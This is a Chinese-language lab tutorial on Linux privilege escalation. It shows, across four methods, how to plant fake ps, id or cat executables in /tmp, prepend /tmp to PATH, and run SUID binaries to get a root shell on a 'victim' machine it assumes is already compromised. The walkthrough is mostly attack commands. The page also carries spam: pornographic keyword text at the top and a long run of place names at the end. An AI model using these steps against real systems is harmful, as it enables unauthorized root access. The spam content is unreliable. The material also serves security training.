91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

在Linux中怎么使用環境變量進行提權

發布時間:2021-08-21 20:11:57 來源:億速云 閱讀:149 作者:chen 欄目:編程語言

本篇內容介紹了“在Linux中怎么使用環境變量進行提權”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

介紹

PATH是Linux和類Unix操作系統中的環境變量,它指定存儲可執行程序的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變量來響應用戶執行的命令,并向shell發送請求以搜索可執行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便于系統管理命令的執行。

使用echo命令顯示當前PATH環境變量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變量中看到‘.’,則意味著登錄用戶可以從當前目錄執行二進制文件/腳本,這對于攻擊者而言也是一個提權的絕好機會。這里之所以沒有指定程序的完整路徑,往往是因為編寫程序時的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當前,我們位于/home/raj目錄,我們將在其中創建一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程序來調用系統二進制文件的函數。

pwd
mkdir script
cd /script
nano demo.c

在Linux中怎么使用環境變量進行提權

正如你在demo.c文件中看到的,我們正在調用ps命令。

在Linux中怎么使用環境變量進行提權

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

在Linux中怎么使用環境變量進行提權

受害者VM機器

假設我們已經成功滲透目標,并進入提權階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權限的文件。

find / -perm -u=s -type f 2>/dev/null

通過上述命令,攻擊者可以枚舉出目標系統上所有的可執行文件,這里可以看到/home/raj/script/shell具有SUID權限。

在Linux中怎么使用環境變量進行提權

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”文件,我們運行這個文件。

/home/raj/script
在Linux中怎么使用環境變量進行提權
Echo命令
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
在Linux中怎么使用環境變量進行提權
Copy命令
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
在Linux中怎么使用環境變量進行提權
Symlink命令
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注意:符號鏈接也叫軟鏈接,如果目錄具有完全權限,則它將成功運行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的權限。

因此,攻擊者可以操縱環境變量PATH來進行提權,并獲得root訪問權限。

在Linux中怎么使用環境變量進行提權

方法2

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境,現在在腳本目錄中,我們將編寫一個小型的c程序來調用系統二進制文件的函數。

pwd
mkdir script
cd /script
nano demo.c

正如你在demo.c文件中看到的,我們正在調用id命令。

在Linux中怎么使用環境變量進行提權

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

在Linux中怎么使用環境變量進行提權

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權限。

find / -perm -u=s -type f 2>/dev/null

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”文件,我們運行這個文件。

cd /home/raj/script
ls
./shell2
在Linux中怎么使用環境變量進行提權
Echo命令
cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

在Linux中怎么使用環境變量進行提權

方法3

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境。正如你在demo.c文件中看到的,我們正在調用cat命令從etc/passwd文件中讀取內容。

在Linux中怎么使用環境變量進行提權

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj

在Linux中怎么使用環境變量進行提權

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段,通過執行以下命令查看sudo用戶列表。

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/raj具有SUID權限,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”文件。所以當我們運行這個文件時,它會把etc/passwd文件作為輸出結果。

cd /home/raj/script/
ls
./raj

在Linux中怎么使用環境變量進行提權

Nano編輯器
cd /tmp
nano cat

現在,當終端打開時輸入/bin/bash并保存。

在Linux中怎么使用環境變量進行提權

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

在Linux中怎么使用環境變量進行提權

方法4

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境。正如你在demo.c文件中看到的,我們正在調用cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中并沒有這樣的文件。

在Linux中怎么使用環境變量進行提權

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

在Linux中怎么使用環境變量進行提權

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段,通過執行以下命令查看sudo用戶列表

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/ignite具有SUID權限,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”文件。所以當我們運行這個文件時,它會報錯“cat: /home/raj/msg.txt”文件或目錄不存在。

cd /home/raj/script
ls
./ignite
在Linux中怎么使用環境變量進行提權
Vi編輯器
cd /tmp
vi cat

現在,當終端打開時輸入/bin/bash并保存。

在Linux中怎么使用環境變量進行提權

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami

在Linux中怎么使用環境變量進行提權

“在Linux中怎么使用環境變量進行提權”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

余江县| 南华县| 福安市| 定兴县| 谢通门县| 松潘县| 崇义县| 苏尼特左旗| 新野县| 嘉黎县| 望城县| 苗栗市| 民权县| 林芝县| 大同市| 利川市| 六盘水市| 江阴市| 全州县| 香格里拉县| 双鸭山市| 九江市| 江源县| 开平市| 连平县| 文登市| 黄梅县| 巴彦县| 河东区| 甘孜县| 池州市| 赤城县| 潮安县| 阜新市| 蒲江县| 万安县| 高雄市| 金溪县| 个旧市| 襄汾县| 高安市|